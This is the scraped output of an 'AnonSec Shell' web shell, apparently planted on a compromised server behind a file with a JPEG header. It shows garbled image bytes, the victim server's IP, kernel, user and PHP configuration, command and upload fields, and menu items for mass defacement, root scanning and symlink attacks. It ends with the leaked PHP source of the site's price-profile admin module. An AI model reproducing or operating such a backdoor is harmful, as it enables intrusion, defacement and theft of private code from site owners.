JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/adminModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/adminModule/presenters/PriceProfilePresenter.php
<?php

namespace App\adminModule\Presenters;

/**
 * PriceProfiles presenter.
 */

use app\components\Grids\MyDataGrid;
use Nette\Application\Responses\FileResponse;
use Nette\Application\Responses\JsonResponse;
use Nette\Application\UI\Form;
use Nette\Utils\ArrayHash;
use PHPExcel_IOFactory;
use Promoteus\CategoryRepository;
use Promoteus\ClientRepository;
use Promoteus\Components\IPriceProfileGridControlFactory;
use Promoteus\Forms\FixedPriceProfileForm;
use Promoteus\Forms\FixedPriceProfileUpdate;
use Promoteus\Forms\PriceProfileAddForm;
use Promoteus\Forms\PriceProfileEditForm;
use Promoteus\Forms\PriceProfileForm;
use Promoteus\Forms\PriceProfileForPrintForm;
use Promoteus\Forms\PriceProfileImportForm;
use Promoteus\PriceProfileRepository;
use PHPExcel;
use Promoteus\ProductRepository;
use Promoteus\RepositoryException;
use Tracy\Debugger;


class PriceProfilePresenter extends SecurePresenter
{

    /** @var PriceProfileRepository @inject */
    public $repository;

    /**
     * @var IPriceProfileGridControlFactory @inject
     */
    public $gridControlFactory;


    public function renderDefault()
    {
        $id = $this->request->getParameter('id');
        $this->template->fixedPrices = $id ? $this->repository->getProfileFixedPrices((int)$id) : [];
    }

    /* public function createComponentPriceProfileForm()
    {
        /** @var PriceProfileForm $form * /
        $form = $this->context->getService('priceProfileForm');
        return $form->create($this->getParameter('id'));
    }*/

    public function createComponentFixedPriceForm()
    {
        /** @var FixedPriceProfileForm $form */
        $form = $this->context->getService('fixedPriceProfileForm');
        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) {
            if (!$form->hasErrors()) $form->getPresenter()->handleModal();//Aby se prepsali hodnoty
        });
        return $form->create($this->getParameter('id'));
    }

    public function createComponentFixedPriceProfileUpdate()
    {
        /** @var FixedPriceProfileUpdate $form */
        $form = $this->context->getService('fixedPriceProfileUpdate');
        return $form->create($this->request->getParameter('id'));
    }

    /**
     * @return mixed
     */
    public function createComponentPriceProfilePrintForm()
    {
        /** @var PriceProfileForPrintForm $form */
        $form = $this->context->getService('priceProfilePrintForm');
        return $form->create($this->getParameter('id'));
    }

    /**
     * @return mixed
     */
    public function createComponentPriceProfileEditForm()
    {
        /** @var PriceProfileEditForm $form */
        $form = $this->context->getService('priceProfileEditForm');
        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) {
            if ($values->calculate) $form->getPresenter()->handleModal();//Dopočítat automaticky. Aby se prepsali hodnoty
        });
        return $form->create($this->getParameter('id'));
    }

    /**
     * @return mixed
     */
    public function createComponentPriceProfileAddForm()
    {
        /** @var PriceProfileAddForm $form */
        $form = $this->context->getService('priceProfileAddForm');
        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) {
            if ($values->calculate) $form->getPresenter()->handleModal();//Dopočítat automaticky. Aby se prepsali hodnoty
            /** @var MyDataGrid $grid */
            $grid = $this['grid']['grid'];
            $grid->redrawControl();
        });
        return $form->create($this->getParameter('id'));
    }

    /**
     * @return mixed
     */
    public function createComponentPriceProfileImportForm()
    {
        /** @var PriceProfileImportForm $form */
        $form = $this->context->getService('priceProfileImportForm');
        $form->addCallbackAfterSubmit(function (Form $form, ArrayHash $values) {
            /** @var MyDataGrid $grid */
            $grid = $form->getPresenter()['grid']['grid'];
            $grid->redrawControl();
            $form->getPresenter()->handleModal();
        });
        return $form->create();
    }


    /**
     * @param $id
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function renderExport($id)
    {
        $document = new PHPExcel();
        $document->setActiveSheetIndex(0);
        $row = 3; //start row for generate

        //predefined styles
        $styles = array();
        $styles['editable_cols'] = array(
            'fill' => array(
                'type' => \PHPExcel_Style_Fill::FILL_SOLID,
                'startcolor' => array(
                    'rgb' => 'ffc000',
                )
            ),
            'borders' => array(
                'allborders' => array(
                    'style' => \PHPExcel_Style_Border::BORDER_THIN,
                    'color' => array('rgb' => '000000')
                )
            )
        );
        $styles['border'] = array(
            'borders' => array(
                'allborders' => array(
                    'style' => \PHPExcel_Style_Border::BORDER_THIN,
                    'color' => array('rgb' => '000000')
                )
            )
        );
        $styles['whitefont'] = array(
            'font' => array(
                'color' => array('rgb' => 'b5b5b5')
            ));

        //šířky
        $document->getActiveSheet()->getColumnDimension("A")->setAutoSize(true);
        $document->getActiveSheet()->getColumnDimension("B")->setAutoSize(true);
        $document->getActiveSheet()->getColumnDimension("O")->setAutoSize(true);

        //pole, která neměnit - šedou
        $document->getActiveSheet()->getStyle('A')->applyFromArray($styles['whitefont']); //editable colls style
        $document->getActiveSheet()->getStyle('O')->applyFromArray($styles['whitefont']); //editable colls style

        $document->getActiveSheet()->setCellValue('A1', 'ID PROFILU(nemazat):');
        $document->getActiveSheet()->setCellValue('A2', $id);
        $document->getActiveSheet()->getStyle('A1:B1')->getFont()->setBold(true); //tučný styl

        //Branding a služby + počty
        $document->getActiveSheet()->setCellValue('A3', 'ID kategorie(nemazat)');
        $document->getActiveSheet()->setCellValue('B3', 'KATEGORIE');
        $document->getActiveSheet()->setCellValue('C3', '50 pcs');
        $document->getActiveSheet()->setCellValue('D3', '100 pcs');
        $document->getActiveSheet()->setCellValue('E3', '200 pcs');
        $document->getActiveSheet()->setCellValue('F3', '300 pcs');
        $document->getActiveSheet()->setCellValue('G3', '500 pcs');
        $document->getActiveSheet()->setCellValue('H3', '700 pcs');
        $document->getActiveSheet()->setCellValue('I3', '1000 pcs');
        $document->getActiveSheet()->setCellValue('J3', '2000 pcs');
        $document->getActiveSheet()->setCellValue('K3', '3000 pcs');
        $document->getActiveSheet()->setCellValue('L3', '5000 pcs');
        $document->getActiveSheet()->setCellValue('M3', '7000 pcs');
        $document->getActiveSheet()->setCellValue('N3', '10000 pcs');
        $document->getActiveSheet()->setCellValue('O3', 'Povinný? (1 = ano)');
        $document->getActiveSheet()->getStyle('A3:O3')->getFont()->setBold(true); //tučný styl

        //Načtení všech kategorií
        /** @var CategoryRepository $categoryRepository */
        $categoryRepository = $this->context->getService('categoryRepository');
        $categories = $categoryRepository->findAll()->order('parent_id')->where('id!=199');
        //Načtení všech vyplněných kategorií
        $exist_values = $this->repository->getProfileValues((int)$id);

        foreach ($categories as $category) {
            //ne katalog
            if ($category->parent_id == 199) continue;
            $row++;

            /*výpis názvů kategorií*/
            $document->getActiveSheet()->setCellValue(('B' . $row), $category->name_cze);
            //id kategorií
            $document->getActiveSheet()->setCellValue(('A' . $row), $category->id);
            //hlavní nebo podkategorie?
            if (!$category->parent_id) {
                $document->getActiveSheet()->getStyle('B' . $row)->getFont()->getColor()->setRGB('d14836');
                //povinná kategorie k vyplnění
                $document->getActiveSheet()->setCellValue(('O' . $row), 1);
            } else {
                $document->getActiveSheet()->getStyle('B' . $row)->getFont()->getColor()->setRGB('279bca');
                //nepovinný
                $document->getActiveSheet()->setCellValue(('O' . $row), 0);
            }
            //editovatelná pole jinou barvou
            $document->getActiveSheet()->getStyle('C' . $row . ':N' . $row)->applyFromArray($styles['editable_cols']);


            /*již naplněná data*/
            if (isset($exist_values[$category->code][50])) $document->getActiveSheet()->setCellValue(('C' . $row), $exist_values[$category->code][50]);
            if (isset($exist_values[$category->code][100])) $document->getActiveSheet()->setCellValue(('D' . $row), $exist_values[$category->code][100]);
            if (isset($exist_values[$category->code][200])) $document->getActiveSheet()->setCellValue(('E' . $row), $exist_values[$category->code][200]);
            if (isset($exist_values[$category->code][300])) $document->getActiveSheet()->setCellValue(('F' . $row), $exist_values[$category->code][300]);
            if (isset($exist_values[$category->code][500])) $document->getActiveSheet()->setCellValue(('G' . $row), $exist_values[$category->code][500]);
            if (isset($exist_values[$category->code][700])) $document->getActiveSheet()->setCellValue(('H' . $row), $exist_values[$category->code][700]);
            if (isset($exist_values[$category->code][1000])) $document->getActiveSheet()->setCellValue(('I' . $row), $exist_values[$category->code][1000]);
            if (isset($exist_values[$category->code][2000])) $document->getActiveSheet()->setCellValue(('J' . $row), $exist_values[$category->code][2000]);
            if (isset($exist_values[$category->code][3000])) $document->getActiveSheet()->setCellValue(('K' . $row), $exist_values[$category->code][3000]);
            if (isset($exist_values[$category->code][5000])) $document->getActiveSheet()->setCellValue(('L' . $row), $exist_values[$category->code][5000]);
            if (isset($exist_values[$category->code][7000])) $document->getActiveSheet()->setCellValue(('M' . $row), $exist_values[$category->code][7000]);
            if (isset($exist_values[$category->code][10000])) $document->getActiveSheet()->setCellValue(('N' . $row), $exist_values[$category->code][10000]);
        }

        //rámeček nad celou tabulkou
        $document->getActiveSheet()->getStyle('A3:N' . $row)->applyFromArray($styles['border']); //editable colls style


        //vygenerování pratisku
        $document->getActiveSheet()->setTitle('priceprofile-' . $id);
        $fName = 'priceprofile-' . $id . '.xlsx';

        $documentWriter = \PHPExcel_IOFactory::createWriter($document, 'Excel2007');
        header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
        header('Content-Disposition: attachment;filename="' . $fName . '"');
        header('Cache-Control: max-age=0');


        try {
            $documentWriter->save('php://output');
        } catch (\Exception $e) {
            $this->flashMessage('Vznikla chyba. Pracujeme na zlepšení.', 'danger');
            $this->redrawControl('flashes');
        }
        ob_flush();
        exit;
    }

    public function handleProfileImport()
    {
        $this->handleModal("import_price");
    }

    public function handleGridAdd($item)
    {
        $this->template->priceProfileForms =
            FORMS_DIR . '/priceProfile/create.latte';
        parent::handleGridAdd($item);
    }

    public function handleGridEdit()
    {
        $this->template->priceProfileForms =
            FORMS_DIR . '/priceProfile/update.latte';
        parent::handleGridEdit();
    }

    public function handleGridDelete()
    {
        $id = $this->getParameter('id');
        /** @var ClientRepository $clientRepository */
        $clientRepository = $this->context->getService('clientRepository');
        //klienti využívající tento profil
        $this->template->clients = $clientRepository->getClientsUsePriceProfile($id);
        if (empty($this->template->clients)) {
            $this->repository->deleteProfile($this->getParameter('id'));
            /** @var MyDataGrid $grid */
            $grid = $this['grid']['grid'];
            $this->flashMessage('Profil byl úspěšně smazán.', 'success');
            $grid->redrawControl();
        } else {
            $this->template->priceprofile = $this->repository->getById($id);
            $this->handleModal('delete');
        }
    }

    public function handleDeleteFixedModal($id)
    {
        $this->template->choosenFixedPrice = $this->repository->getFixed($id);
        $this->handleModal('grid_form_submodal');
    }

    public function handleDeleteFixedAll($code)
    {
        $this->repository->deleteFixedAll($code);

        $this->handleModal();

        /** @var MyDataGrid $grid */
        $grid = $this['grid']['grid'];
        $this->flashMessage('Fixní cena u všech profilů byla smazána', 'success');
        $grid->redrawControl();
    }

    public function handleDeleteFixed($id)
    {
        $this->repository->deleteFixed($id);

        $this->handleModal();

        /** @var MyDataGrid $grid */
        $grid = $this['grid']['grid'];
        $this->flashMessage('Fixní cena byla smazána', 'success');
        $grid->redrawControl();
    }


    public function handleRecapacite($value)
    {
        $value = trim($value);
        //zde bude převod kódu produktu na jeho ID
        /** @var ProductRepository $productRepository */
        //$productRepository = $this->context->getService('productRepository');
        //$product_id = $productRepository->getProductId($value);
        $capacities = $this->getCapacitiesForSelectbox($value);
        if (!$capacities) {
            $capacities = array(0 => "Žádná kapacita pro ceníky");
        }
        $this->sendResponse(new JsonResponse($capacities));
    }

    public function handleCheckgroup($code, $idCapacity, array $groups)
    {
        $code = trim($code);
        $idCapacity = trim($idCapacity);

        /** @var PriceProfileRepository $priceProfileRepository */
        $priceProfileRepository = $this->context->getService('priceProfileRepository');
        $response = $priceProfileRepository->existsFixedPrice($code, $idCapacity, $groups);

        $this->sendResponse(new JsonResponse(array(
            'checked' => $response == 'noprice'
        )));
    }

    private function getCapacitiesForSelectbox($id_code)
    {
        /** @var ProductRepository $r */
        $r = $this->context->getService('productRepository');
        try {
            $product = $r->getProduct($id_code);
            if ($product) {
                $capacities = $product['capacity'];
            } else {
                return [];
            }
        } catch (RepositoryException $e) {
            return [];
        }

        $result = [];
        foreach ($capacities as $capacity) {
            $result[$capacity['id']] = $capacity['name'];
        }

        return $result;

    }

}

Anon7 - 2022
AnonSec Team